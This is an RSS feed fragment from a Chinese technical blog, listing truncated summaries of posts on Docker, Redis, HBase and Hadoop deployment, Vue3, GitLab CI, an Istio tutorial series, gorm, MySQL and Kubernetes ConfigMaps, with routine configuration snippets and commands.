容器中设置时区原来这么简单</title><link>https://typonotes.com/posts/2022/12/21/docker-container-set-timezone/</link><pubDate>Wed, 21 Dec 2022 20:49:12 +0800</pubDate><guid>https://typonotes.com/posts/2022/12/21/docker-container-set-timezone/</guid><description>Docker 容器中设置时区 在 linux 中， 通过 /etc/timezone 这个文件设置。 可以通过如下命令 持久化 时区设置， 其中 Asia/Shanghai 是我们需要的时区。 1 cp -a /usr/share/zoneinfo/Asia/Shanghai /etc/timezone 容器中设置时区一直是独立于宿主机的。 可以通过挂载 /etc/timezone 的方式保持与宿主机时间一致。 1 docker run --rm -it -v /etc/timezone:/etc/timezone debian bash 这种方法只适合 本地的、简单的、临时的 容器。 容器有一个很重要的特点， 就是 一处</description></item><item><title>Redis 持久化方式 - RDB 和 AOF</title><link>https://typonotes.com/posts/2022/03/28/redis-persistence-rdb-and-aof/</link><pubDate>Mon, 28 Mar 2022 18:19:59 +0800</pubDate><guid>https://typonotes.com/posts/2022/03/28/redis-persistence-rdb-and-aof/</guid><description>Redis 持久化 Redis 持久化数据支持 AOF (append-only files) 和 Rdb (snapshot) 两种方式。 在为 Redis 选择硬盘的时候， 最好选择 SSD 高性能硬盘。 Redis 持久化的四种选择: RDB (Redis Database): 创建 快照， 将内存中的 当前数据 状态进行 全量备份 。 AOF (Append-Only File): 以 写入操作 的 操作日志 形式存储到备份文件中。 恢复数据时重放所有操作。 类似 Mysql 的 Binlog RDB + AOF: 兼顾了 RDB 和 AOF 的优点。 No persistence: 不进行</description></item><item><title>Redis 删除大 key 时候的注意事项</title><link>https://typonotes.com/posts/2022/03/28/redis-delete-the-big-key/</link><pubDate>Mon, 28 Mar 2022 10:17:52 +0800</pubDate><guid>https://typonotes.com/posts/2022/03/28/redis-delete-the-big-key/</guid><description>Redis 删除大 KEY 的注意事项 什么是 Redis 大 Key string 类型中的值大于 10kb hash, list, set, zset 中的元素超过 5000个 如何查找大 Key string 通过命令直接查找 1 redis-cli -h 127.0.0.1 -p6379 -a &amp;#34;YourPassword&amp;#34; --bigkeys 使用 RdbTools 工具 1 rdb dump.rdb -c memory --bytes 10240 -f redis.csv 怎么删除 Redis 中的 大 Key 风险点: 直接删除大 Key 会造成阻塞。 由于 redis 是 单线程 执行， 阻塞可能造成其他所有请求超时。 如果超时越来越多，则可能会</description></item><item><title>使用 systemd 启动 hbase master 和 regionserver</title><link>https://typonotes.com/posts/2022/03/25/manage-hbase-by-systemd/</link><pubDate>Fri, 25 Mar 2022 18:48:08 +0800</pubDate><guid>https://typonotes.com/posts/2022/03/25/manage-hbase-by-systemd/</guid><description>在使用 systemd 管理 HMaster 和 HRegionServer 的时候， 设置启动命令需要使用 foregrand_start 前台启动方式。 否则程序会自动退出。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 # hbase-master.service.j2 [Unit] Description=hbase master [Service] User={{ username }} Group={{ username }} Environment=&amp;#34;JAVA_HOME=/data/bigdata/java&amp;#34; Environment=&amp;#34;HBASE_HOME={{ HBASE_DIR }}/hbase&amp;#34; WorkingDirectory={{ HBASE_DIR }}/hbase ExecStart={{ HBASE_DIR }}/hbase/bin/hbase-daemon.sh --config {{ HBASE_DIR }}/hbase/conf foreground_start master ExecStop={{ HBASE_DIR }}/hbase/bin/hbase-daemon.sh --config {{ HBASE_DIR }}/hbase/conf stop master Restart=on-success # Restart service after 10 seconds if the dotnet service crashes: RestartSec=10 KillSignal=SIGINT SyslogIdentifier=hbase-master [Install] WantedBy=multi-user.target 在前后台启动这一点上， systemd , supervisor 和 docker entrypoint 上是一样的</description></item><item><title>Zookepper Hadoop Hdfs Hbase 手工部署</title><link>https://typonotes.com/posts/2022/03/25/zookepper-hadoop-hdfs-hbase-manual-install/</link><pubDate>Fri, 25 Mar 2022 18:31:20 +0800</pubDate><guid>https://typonotes.com/posts/2022/03/25/zookepper-hadoop-hdfs-hbase-manual-install/</guid><description>172.16.0.20 hadoop001 172.16.0.106 hadoop002 172.16.0.240 hadoop003 1 2 3 4 5 cat &amp;gt;&amp;gt; /etc/hosts &amp;lt;&amp;lt;&amp;#34;EOF&amp;#34; 172.16.0.20 hadoop001 172.16.0.106 hadoop002 172.16.0.240 hadoop003 EOF 安装 java 1 2 3 4 5 6 7 8 9 10 11 12 13 mkdir -p /opt/modules &amp;amp;&amp;amp; cd $_ wget -c https://dl.example.com/jdk-8u201-linux-x64.tar.gz tar xf jdk-8u201-linux-x64.tar.gz mv jdk1.8.0_201/ /usr/local/ cat &amp;gt;&amp;gt; /etc/profile &amp;lt;&amp;lt;&amp;#34;EOF&amp;#34; export JAVA_HOME=/usr/local/jdk1.8.0_201 export PATH=$JAVA_HOME/bin:$PATH EOF source /etc/profile java -version 安装 zookeeper 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 mkdir -p /opt/modules &amp;amp;&amp;amp; cd $_ wget -c https://dl.example.com/zookeeper-3.4.13.tar.gz tar xf zookeeper-3.4.13.tar.gz mkdir -p /data/bigdata mv zookeeper-3.4.13 /data/bigdata/zookeeper cd /data/bigdata/zookeeper/conf cat &amp;gt; zoo.cfg &amp;lt;&amp;lt;&amp;#34;EOF&amp;#34; tickTime=2000 initLimit=10 syncLimit=5 dataDir=/data/bigdata/data/zookeeper clientPort=2181 server.1=hadoop001:2888:3888 server.2=hadoop002:2888:3888 server.3=hadoop003:2888:3888 EOF mkdir -p /data/bigdata/data/zookeeper echo 3 &amp;gt; /data/bigdata/data/zookeeper/myid cd .. ./bin/zkServer.sh start 安装</description></item><item><title>easy vue3 - 02 Data Binding v Model and v Bind</title><link>https://typonotes.com/posts/2022/03/22/easy-vue3-02-data-binding-v-model-and-v-bind/</link><pubDate>Tue, 22 Mar 2022 22:01:23 +0800</pubDate><guid>https://typonotes.com/posts/2022/03/22/easy-vue3-02-data-binding-v-model-and-v-bind/</guid><description>Vue 中有两种数据绑定方式： v-bind 单向绑定: 数据只能从 data 流向页面 v-model 双向绑定: 数据不仅能从 data 流向页面， 还可以从页面流向 data. v-model 一般用在 表单类型元素 上 (ex, input, select)。 v-model 需要省略 v-model:value 中的 value ， 因为 v-model 默认收集的就是 value 值。 v-model:value 会提示错误: v-model argument is not supported on plain elements.vue(55) 1 2 3 4 5 6 7 8 9 10 11 &amp;lt;template&amp;gt; &amp;lt;h1&amp;gt;02 数据绑定 v-bind and v-model&amp;lt;/h1&amp;gt; 1. v-bind 数据单</description></item><item><title>easy vue3 - 00 使用 vite 初始化 vue3 项目</title><link>https://typonotes.com/posts/2022/03/22/easy-vue3-00-initial-a-vue3-vite-project/</link><pubDate>Tue, 22 Mar 2022 07:29:16 +0800</pubDate><guid>https://typonotes.com/posts/2022/03/22/easy-vue3-00-initial-a-vue3-vite-project/</guid><description/></item><item><title>easy vue3 - 01 模版语法</title><link>https://typonotes.com/posts/2022/03/22/easy-vue3-01-template-syntax/</link><pubDate>Tue, 22 Mar 2022 07:19:34 +0800</pubDate><guid>https://typonotes.com/posts/2022/03/22/easy-vue3-01-template-syntax/</guid><description>在 vue 中渲染变量通常有两种方式 插值语法， 又叫 胡子语法 ， 使用 {{ xxx }} 方式在 标签体 渲染变量 1 &amp;lt;h3&amp;gt;插值语法: {{ name }}&amp;lt;/h3&amp;gt; 指令语法 v-bind:attr=&amp;quot;xxxx&amp;quot;, v-bind 可以缩写为 冒号 :， attr 是 标签属性 名称； xxx 是属性标签值， 且 xxx 是 js 表达式 1 2 3 4 5 6 &amp;lt;h3&amp;gt;指令语法&amp;lt;/h3&amp;gt; &amp;lt;a :href=&amp;#34;url&amp;#34;&amp;gt; 百度一下 ( : ) &amp;lt;/a&amp;gt;</description></item><item><title>Gitlab 在不同 job 之间传递变量</title><link>https://typonotes.com/posts/2022/03/04/pass-an-environment-variable-to-another-job/</link><pubDate>Fri, 04 Mar 2022 18:44:29 +0800</pubDate><guid>https://typonotes.com/posts/2022/03/04/pass-an-environment-variable-to-another-job/</guid><description>在 gitlab 中， 不同 job 之间的变量是不能直接传递的。 但如果有需求， 则必须要借助 artifacts:reports:dotenv 实现。 在 job1 中保存在 script 下执行命令， 保存到 xxx.env 文件中。 将变量已 k=v 的形式保存 每行一个 不支持换行符 使用 artifacts:reports:dotenv 传递文件 在后续 job 中， 会自动加载 job1 传递 xxx.env 中的变量键值对。 另外如果在后续 job 中定义了同名变量，则这些变量值将被覆盖， 以 xxx.env 中</description></item><item><title>《istio-in-action 系列》 1. 安装 docker-k3s-istio 开发环境</title><link>https://typonotes.com/posts/books/istio-in-action/chapter01/01-install/</link><pubDate>Thu, 27 Jan 2022 09:08:25 +0800</pubDate><guid>https://typonotes.com/posts/books/istio-in-action/chapter01/01-install/</guid><description>《istio-in-action 系列》 1. 安装 docker-k3s-istio 开发环境 1. 安装 docker 我这里使用的是 ubuntu20.04LTS 操作系统 1 2 sudo apt update sudo apt install docker-ce 配置 docker 加速仓库 1 2 3 4 5 6 7 { &amp;#34;registry-mirrors&amp;#34;: [ &amp;#34;https://mirror.ccs.tencentyun.com&amp;#34;, &amp;#34;https://wlzfs4t4.mirror.aliyuncs.com&amp;#34; ], &amp;#34;bip&amp;#34;: &amp;#34;169.253.32.1/24&amp;#34; } 上述是腾讯云和阿里云的加速仓库， 根据需求自行调整。 完成配置后， 重启 docker 1 2 systemctl daemon-reload systemctl restart docker 2. 安装 k3s 2.1 安装 k3s k3s 使用 --docker 模式是为了方便 docker build 产生的</description></item><item><title>《istio-in-action 系列》 1. 安装 docker-k3s-istio 开发环境</title><link>https://typonotes.com/posts/books/istio-in-action/chapter01/02-initial-project/</link><pubDate>Thu, 27 Jan 2022 09:08:25 +0800</pubDate><guid>https://typonotes.com/posts/books/istio-in-action/chapter01/02-initial-project/</guid><description>《istio-in-action系列》 1. 初始化第一个项目 项目代码在 https://github.com/tangx/istio-in-action 命令中有很多快捷键， 参考 install and prepare 1. 创建 namespace 并开启整体 istio 注入 这里已经使用了 alias 命令别名， 如果看不懂， 请参考第一篇 1.1 创建 namespace myistio 1 2 3 4 5 6 kc ns myistio namespace/myistio created kns myistio Context &amp;#34;default&amp;#34; modified. Active namespace is &amp;#34;myistio&amp;#34;. 1.2 向 namespace 中开启 istio 注入 1 2 3 4 5 6 7 8 9 10 11 12 13 # 向 ns 加入标签</description></item><item><title>《istio-in-action 系列》 1. 安装 docker-k3s-istio 开发环境</title><link>https://typonotes.com/posts/books/istio-in-action/chapter01/07-upgrade-project/</link><pubDate>Thu, 27 Jan 2022 09:08:25 +0800</pubDate><guid>https://typonotes.com/posts/books/istio-in-action/chapter01/07-upgrade-project/</guid><description>升级项目 之前的项目中只有 prod 服务，具有版本的区分。 现在对项目进行一些升级， 模拟一个多服务的项目。 两个服务， review / prod 服务之前还有调用关系。 prod -&amp;gt; review review 这次新加入了 review 评论服务。 { &amp;#34;1&amp;#34;: { &amp;#34;id&amp;#34;: &amp;#34;1&amp;#34;, &amp;#34;name&amp;#34;: &amp;#34;zhangsan&amp;#34;, &amp;#34;commment&amp;#34;: &amp;#34;istio 功能很强大， 就是配置太麻烦&amp;#34; }, &amp;#34;2&amp;#34;: { &amp;#34;id&amp;#34;: &amp;#34;1&amp;#34;, &amp;#34;name&amp;#34;: &amp;#34;wangwu&amp;#34;, &amp;#34;commment&amp;#34;: &amp;#34;《istio in action》 真是一本</description></item><item><title>《istio-in-action 系列》 1. 安装 docker-k3s-istio 开发环境</title><link>https://typonotes.com/posts/books/istio-in-action/chapter01/16-lego-create-server-certificate/</link><pubDate>Thu, 27 Jan 2022 09:08:25 +0800</pubDate><guid>https://typonotes.com/posts/books/istio-in-action/chapter01/16-lego-create-server-certificate/</guid><description>使用 lego 创建 https 证书 https://go-acme.github.io/lego/dns/ 1 2 3 4 5 6 7 8 9 10 11 #!/bin/bash # cd $(dirname $0) source .env lego --email=&amp;#34;${EMAIL}&amp;#34; \ --key-type rsa2048 \ --domains=&amp;#34;${DOMAIN1}&amp;#34; \ --path=$(pwd) --dns $DNS_PROVIDER --accept-tos run</description></item><item><title>《istio-in-action 系列》 10. VirtualService 路由重定向</title><link>https://typonotes.com/posts/books/istio-in-action/chapter02/10-vs-http-redirect/</link><pubDate>Thu, 27 Jan 2022 09:08:25 +0800</pubDate><guid>https://typonotes.com/posts/books/istio-in-action/chapter02/10-vs-http-redirect/</guid><description>VirtualService 路由重定向 在 VirtualService 配置中， 除了 http rewrite 路由重写之外， 还有 http redirect 路由重定向。 即常说的 30x。 https://istio.io/latest/docs/reference/config/networking/virtual-service/#HTTPRedirect http redirect VirtualService 重定向配置如下。 有三个重要参数 uri: 重定向后的 uri redirectCode: 重定向时的 http response code。 ex: 301, 302。 默认值为 301 。 authority: 重定向后的 http host。 即 http response header 中的 location 字段。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 --- apiVersion: networking.istio.io/v1alpha3 kind: VirtualService metadata:</description></item><item><title>《istio-in-action 系列》 11. VirtualService 重试机制</title><link>https://typonotes.com/posts/books/istio-in-action/chapter02/11-vs-http-retry/</link><pubDate>Thu, 27 Jan 2022 09:08:25 +0800</pubDate><guid>https://typonotes.com/posts/books/istio-in-action/chapter02/11-vs-http-retry/</guid><description>VirtualService 重试机制 在 Istio VirtualService 中， 有一个很关键的机制： 重试。 发起重试不需要业务本身实现， 而是 istio 通过 envoy 发起的。 其中有几个关键参数 attempts: 重试次数（不含初始请求）， 即最大请求次数为 n+1。 perTryTimeout: 发起重试的间隔时间。 必须大于 1ms。 默认于 http route 中的 timeout 一致， 即无 timeout 时间 retryOn: 执行重试的触发条件。 条件值有 envoy 提供: https://www.envoyproxy.io/docs/envoy/latest/configuration/http/http_filters/router_filter#x-envoy-retry-on http retry 1</description></item><item><title>《istio-in-action 系列》 12. VirtualService 混沌测试/错误注入</title><link>https://typonotes.com/posts/books/istio-in-action/chapter02/12-vs-http-fault-injection/</link><pubDate>Thu, 27 Jan 2022 09:08:25 +0800</pubDate><guid>https://typonotes.com/posts/books/istio-in-action/chapter02/12-vs-http-fault-injection/</guid><description>VirtualService 混沌测试/错误注入 在 Istio 中还实现了一个很重要的功能: 错误注入。 可以设置 一定几率 出现 延迟(delay) 和 中止(abort) 错误。 Http Fault Injection Delay 延迟 一定概率出现 缓慢 相应。 fixedDelay: 延迟时间。 格式 1h / 1m / 1s。 最小 1ms。 percentage: 错误触发几率。 0-100 之间。 可以为 double 类型的小数。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17</description></item><item><title>《istio-in-action 系列》 13. VirtualService 服务委托</title><link>https://typonotes.com/posts/books/istio-in-action/chapter02/13-vs-http-delegate/</link><pubDate>Thu, 27 Jan 2022 09:08:25 +0800</pubDate><guid>https://typonotes.com/posts/books/istio-in-action/chapter02/13-vs-http-delegate/</guid><description>VirtualService 服务委托 服务委托就是流量转发。 https://istio.io/latest/docs/reference/config/networking/virtual-service/#Delegate 如下 VirtualService 的 流量委托 定义， 是在 myistio 这个命名空间中创建的。 但是将 myistio.tangx.in/prod 的流量转发到了命名空间 myistio-prod 中的 prod 服务中； 同样将 myistio.tangx.in/reviews 的流量转发到了命名空间 myistio-review 中的 review 服务中。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 # vs http delegate apiVersion: networking.istio.io/v1alpha3 kind: VirtualService metadata: name: vs-delegate namespace: myistio # 注意 namespace spec: gateways: - istio-tangx-in hosts: - istio.tangx.in http: - match: -</description></item><item><title>《istio-in-action 系列》 14. VirtualService Header 操作</title><link>https://typonotes.com/posts/books/istio-in-action/chapter02/14-vs-http-header-operation/</link><pubDate>Thu, 27 Jan 2022 09:08:25 +0800</pubDate><guid>https://typonotes.com/posts/books/istio-in-action/chapter02/14-vs-http-header-operation/</guid><description>VirtualService Header 操作 当 Envoy 在进行请求流量转发的时候， 还可以对消息 (request/response) 的 Header 进行操作。 set : 如果不存在， 则 创建 header， 如果存在， 则 覆盖 header 1 2 3 4 5 6 7 spec: http: - headers: request: set: key1: value1 key2: value2 add : 如果不存在， 则 新增； 如果村子啊， 则 追加 1 2 3 4 5 6 7 spec: http: - headers: request: add: key1: value1 key2: value2 remove: 如果存在， 则 删除 header; 不存在, 则 忽略 1 2 3 4 5 6 7 spec:</description></item><item><title>《istio-in-action 系列》 17. Gateway 支持 https 访问 - 标准模式</title><link>https://typonotes.com/posts/books/istio-in-action/chapter02/17-gw-https-support-standard/</link><pubDate>Thu, 27 Jan 2022 09:08:25 +0800</pubDate><guid>https://typonotes.com/posts/books/istio-in-action/chapter02/17-gw-https-support-standard/</guid><description>Gateway 支持 https 访问 - 标准模式 https://istio.io/latest/docs/reference/config/networking/gateway/#ServerTLSSettings credentialName: The secret (of type generic) should contain the following keys and values: key: &amp;lt;privateKey&amp;gt; and cert: &amp;lt;serverCert&amp;gt; 创建证书 k8s secret 在 标准模式 下， 必须使用 key 作为私钥文件名， cert 作为证书文件名。 证书文件需要 保持 与 istio-ingressgateway 服务在 相同 的命名空间。 因此证书文件的创建命令如下 1 2 3 4 kubectl create secret generic wild-tangx-in \ --from-file=key=./certificates/_.tangx.in.key \ --from-file=cert=./certificates/_.tangx.in.crt \ -n istio-system 其中 wild-tangx-in: 是 secret name。 之后 istio gateway 需要使用 ./certificates/_.tangx.in.key(crt) 是证书私钥/</description></item><item><title>《istio-in-action 系列》 18. 使用 DestionationRule 流量控制策略 - 简单负载均衡</title><link>https://typonotes.com/posts/books/istio-in-action/chapter02/18-dr-simple-loadbalance/</link><pubDate>Thu, 27 Jan 2022 09:08:25 +0800</pubDate><guid>https://typonotes.com/posts/books/istio-in-action/chapter02/18-dr-simple-loadbalance/</guid><description>使用 DestionationRule 流量控制策略 - 简单负载均衡 简单负载均衡 策略， 官方指定名称。 ROUND_ROBIN: 轮训策略， 默认。 LEAST_CONN: 最小连接数。 随机 选择 两个健康 后端， 通过 O(1) 算法选择连接数最少的后端。 RANDOM: 随机选择了一个 健康 后端。 如果 没有配置健康检查策略， 随机策略比轮训更好。 PASSTHROUGH: 此选项会将连接转发到调用者请求的原始 IP 地址，而不进行任何</description></item><item><title>《istio-in-action 系列》 3. 使用 istio Gateway 允许外部访问</title><link>https://typonotes.com/posts/books/istio-in-action/chapter02/03-vs-and-ingress/</link><pubDate>Thu, 27 Jan 2022 09:08:25 +0800</pubDate><guid>https://typonotes.com/posts/books/istio-in-action/chapter02/03-vs-and-ingress/</guid><description>isti VirtualService 和 k8s Ingress 可以简单的认为 Ingress 是 k8s 中提出的流量入口转发的一个 标准定义规范（只是认为）。 怎么实现， 需要根据不同的 IngressController 的逻辑。 VirtualService 的部分功能就承担了 Ingress 的这一功能。 1. Ingress 与 VirtualService 的定义 k8s Ingress 配置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 apiVersion: networking.k8s.io/v1 kind: Ingress metadata: creationTimestamp: null name: simple spec: rules: - host: foo.com # 访问的域名 http: paths: - backend: service: name: svc1 # 后端服务名称 port: number: 80</description></item><item><title>《istio-in-action 系列》 4. 使用 istio Gateway 允许外部访问</title><link>https://typonotes.com/posts/books/istio-in-action/chapter02/04-gateway/</link><pubDate>Thu, 27 Jan 2022 09:08:25 +0800</pubDate><guid>https://typonotes.com/posts/books/istio-in-action/chapter02/04-gateway/</guid><description>使用 istio Gateway 允许外部访问 仅仅是简单的创建了 VirtualService 是不能实现集群外部的访问的。 在 Istio 中， 还有一个 Gateway 的概念。 顾名思义， Gateway 就是大门保安， 只允许具有特定特征的流量通过。 1.1. 创建 Gateway 先来创建一个 Gateway 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 --- # https://istio.io/latest/docs/reference/config/networking/gateway/ apiVersion: networking.istio.io/v1alpha3 kind: Gateway metadata: name: istio-tangx-in namespace: myistio spec: selector: istio: ingressgateway # 选择 ingressgateway, 省略则兼容所有 servers: - port: number: 80 name: http protocol:</description></item><item><title>《istio-in-action 系列》 5. VirtualService 使用路径重写</title><link>https://typonotes.com/posts/books/istio-in-action/chapter02/05-vs-http-rewrite-by-uri/</link><pubDate>Thu, 27 Jan 2022 09:08:25 +0800</pubDate><guid>https://typonotes.com/posts/books/istio-in-action/chapter02/05-vs-http-rewrite-by-uri/</guid><description>《istio-in-action 系列》 5. VirtualService 使用路径重写 有了 VirtualService 的路径重写功能后， 就更符合 Ingress 的标准定义了。 但 VirtualService 不仅仅如此， 路径重写包含了三种方式 prefix: 前缀匹配。 只要 uri 路径的 前段 匹配则转发。 后端 自动补齐。 exact: 精确匹配。 只有 uri 全部 匹配才转发， 并且只能转发某一个固定地址。 精确匹配 regex: 正则匹配。 只有</description></item><item><title>《istio-in-action 系列》 6. 使用 DestinationRule Subset 进行路由分组(版本控制)</title><link>https://typonotes.com/posts/books/istio-in-action/chapter02/06-dr-subset/</link><pubDate>Thu, 27 Jan 2022 09:08:25 +0800</pubDate><guid>https://typonotes.com/posts/books/istio-in-action/chapter02/06-dr-subset/</guid><description>使用 DestinationRule Subset 进行路由分组(版本控制) 当一个程序并行发布多个版本的时候， 如 prod-v1 / prod-v2 1 2 3 4 5 kgd NAME READY UP-TO-DATE AVAILABLE AGE toolbox 1/1 1 1 3d22h prod-v1 1/1 1 1 16m prod-v2 1/1 1 1 16m // 两个版本的测试结果， 仅定义为 version 不一致 { &amp;#34;data&amp;#34;: { &amp;#34;Name&amp;#34;: &amp;#34;istio in action&amp;#34;, &amp;#34;Price&amp;#34;: 300, &amp;#34;Reviews&amp;#34;: null }, &amp;#34;version&amp;#34;: &amp;#34;v2.0.0&amp;#34; // &amp;#34;version&amp;#34;: &amp;#34;v1.0.0&amp;#34; } k8s Service 依旧实现最根本的 服务级别的 Selector。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16</description></item><item><title>《istio-in-action 系列》 8. VirtualService 使用 header 重写路由</title><link>https://typonotes.com/posts/books/istio-in-action/chapter02/08-vs-http-rewrite-by-header/</link><pubDate>Thu, 27 Jan 2022 09:08:25 +0800</pubDate><guid>https://typonotes.com/posts/books/istio-in-action/chapter02/08-vs-http-rewrite-by-header/</guid><description>VirtualService 使用 header 重写路由 在 istio 中， 除了 path 之外还可以使用 Header 进行路由规则管理。 为了更好的展示 header 路由效果， 这里配合使用了 uri 的精确匹配模式。 实现之后， 只能访问地址 http://istio.tangx.in/ ， 其他均为 404。 具体哪个服务应答， 完全根据 header 匹配选择。 效果如下: 使用 Header 匹配有几个必要条件 Header 的 key 只能包含 小写字母 和 连字符 -。 从实际测试</description></item><item><title>gorm 数据库表模型声明 - 基础</title><link>https://typonotes.com/posts/2021/12/15/gorm-declaring-models-note/</link><pubDate>Wed, 15 Dec 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/12/15/gorm-declaring-models-note/</guid><description>gorm 数据库表模型声明 - 基础 链接数据库 1 2 3 4 5 6 7 8 9 10 import ( &amp;#34;gorm.io/driver/mysql&amp;#34; &amp;#34;gorm.io/gorm&amp;#34; ) func main() { // refer https://github.com/go-sql-driver/mysql#dsn-data-source-name for details dsn := &amp;#34;user:pass@tcp(127.0.0.1:3306)/dbname?charset=utf8mb4&amp;amp;parseTime=True&amp;amp;loc=Local&amp;#34; db, err := gorm.Open(mysql.Open(dsn), &amp;amp;gorm.Config{}) } 常用字段类型与 gorm 默认字段类型 varchar, int, datetime, timestamp 表定义如下 1 2 3 4 5 type Author struct { gorm.Model Name string Password string } auto migrate 后， 可以看到 name, password 默认使用的是 longtext 类型。 1 2 3 4 5 6 7 8 9 10 11 12 show create table authors; CREATE TABLE `authors` ( `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `created_at` datetime(3) DEFAULT NULL, `updated_at` datetime(3) DEFAULT</description></item><item><title>golang deepcopy 的两种实现方式</title><link>https://typonotes.com/posts/2021/12/14/golang-struct-interface-deepcopy/</link><pubDate>Tue, 14 Dec 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/12/14/golang-struct-interface-deepcopy/</guid><description>Golang 实现深拷贝(DeepCopy)的两种方式 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2021/12/14/golang-struct-interface-deepcopy/ golang deepcopy 的两种实现方式 最近在基于 gin 封装 rum-gonic - github web 框架的过程中，遇到了一个问题。 在注册路由的时候传递是 指针对象， 因此造成所有的 request 请求使用相同的 CreateUser 对象, 出现并发</description></item><item><title>Mysql 外键</title><link>https://typonotes.com/posts/2021/12/08/mysql-foreign-key/</link><pubDate>Wed, 08 Dec 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/12/08/mysql-foreign-key/</guid><description>Mysql 外键 如果说 mysql 中的 left/right/out join 查询 软链接 关系， 只是通过看似有关系的字段把两张表聚合在一起。 那么 foreign key 就是 硬连接 ， 实实在在把两张表聚合在一起。 如果数据的字段的值 不符合 所连接表， 将不允许输入 插入或修改 数据。 创建外键 准备环境 1 2 3 4 5 6 7 create database day123 default charset utf8 collate utf8_general_ci; use day123; create table depart( id int not null primary key auto_increment, name varchar(32) not null ) default charset=utf8; 创建</description></item><item><title>mysql 查询操作</title><link>https://typonotes.com/posts/2021/12/07/mysql-select-operation/</link><pubDate>Tue, 07 Dec 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/12/07/mysql-select-operation/</guid><description>mysql 查询操作 初始化环境 创建数据库， 1 2 3 4 -- create database create database day111 default charset utf8 collate utf8_general_ci; use day111; 创建用户表 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 -- create table user create table user ( id int not null primary key auto_increment, name varchar(6) not null, password varchar(32) not null, age int, salary int null default 0, depart_id int not null ) default charset=utf8; -- insert into `user` (name, `password`, age, salary,depart_id) values (&amp;#34;诸葛亮&amp;#34;,&amp;#34;zhuge123&amp;#34;,3</description></item><item><title>mysql table 操作</title><link>https://typonotes.com/posts/2021/12/06/mysql-table-operation/</link><pubDate>Mon, 06 Dec 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/12/06/mysql-table-operation/</guid><description>Mysql - table 操作 创建数据库 1 create database 数据库名 default charset utf8 collate utf8_general_ci; 查看所有表 1 show tables; 创建数据表 1 2 3 4 5 6 7 8 9 10 11 12 13 create table 表名( 列名 类型, 列名 类型 ) default charset=utf8; --- create table user ( id int not null auto_increment primary key, -- 不允许为空，主键, 自增 name varchar(16) not null, -- 不允许为空 email varchar(32) null, -- 允许为空， 长度为 32 age int default 3 -- 默认值 ) default charset=urf8; 注意 : 一张表只能 有且只有一个 自增列</description></item><item><title>Mysql 常见数据类型 int char timestamp</title><link>https://typonotes.com/posts/2021/12/06/mysql-data-type/</link><pubDate>Mon, 06 Dec 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/12/06/mysql-data-type/</guid><description>Mysql 数据类型 https://dev.mysql.com/doc/refman/5.7/en/data-types.html 整数类型 1 2 3 4 5 6 7 8 mysql root@localhost:db1&amp;gt; create table table_int( int_no int unsigned, biging_no bigint, tinyint_no tinyint ) default charset=utf8; Query OK, 0 rows affected Time: 0.028s int 取值范围 -2^31 ~ 2^31-1 unsigned : 取之范围 0 ~ 2^32-1 bigint 取值范围 -2^63 ~ 2^63-1 tinyint 取值范围 -128 ~ 127 小数类型 Float 使用 32位浮点数保存。 不精确。 Double 使用 64 位浮点数保存。 不精确。 Decimal decimal 精确的小数值， m 数字的总个数（负号部分不算， 含 小数部分）; d</description></item><item><title>Mysql 基础练习 01</title><link>https://typonotes.com/posts/2021/12/06/mysql-basic-pratice-01/</link><pubDate>Mon, 06 Dec 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/12/06/mysql-basic-pratice-01/</guid><description>Mysql 基础练习 01 根据表格创建数据库表，注意编码。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 create database db01 default charset utf8 collate utf8_general_ci; use db01; create table userinfo ( id int not null auto_increment primary key, name varchar(32) not null, password varchar(64) not null, gender enum(&amp;#39;male&amp;#39;,&amp;#39;female&amp;#39;) not null, email varchar(64) not null, amount decimal(10,2) not null default 0, ctime datetime ) default charset=utf8; show tables; +----------------+ | Tables_in_db01 | +----------------+ | userinfo | +----------------+ 1 row in set 插入任意五条数据 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26</description></item><item><title>K8S 中被挂载的 Configmap 发生了变化容器内部会发生什么</title><link>https://typonotes.com/posts/2021/12/02/configmap-mounting-scenario-when-updated/</link><pubDate>Thu, 02 Dec 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/12/02/configmap-mounting-scenario-when-updated/</guid><description>K8S 中被挂载的 Configmap 发生了变化容器内部会发生什么 1. 使用 env 挂载 被挂载的值不会变 1 2 3 4 5 6 7 env: # 定义环境变量 - name: PLAYER_INITIAL_LIVES # 请注意这里和 ConfigMap 中的键名是不一样的 valueFrom: configMapKeyRef: name: game-demo # 这个值来自 ConfigMap key: player_initial_lives # 需要取值的键 使用 volumeMounts 挂载目录 在使用 volumeMounts 挂载的时候， 根据是否有 subpath 参数， 情况也不一样。 2.1 没有 subpath 挂载目录 1 2 3 volumeMounts: - name: config mountPath: &amp;#34;/config/normal-dir/some-path/&amp;#34;</description></item><item><title>gin 实现首页不缓存</title><link>https://typonotes.com/posts/2021/11/26/index-no-cache-in-gin/</link><pubDate>Fri, 26 Nov 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/11/26/index-no-cache-in-gin/</guid><description>在 gin 中实现首页不缓存 之前提到了在 nginx 中添加响应头 Cache-Control: no-cache 不缓存首页， 以便每次发布 CDN 都能回源到最新的资源。 nginx 的配置可能都是实施人员的操作， 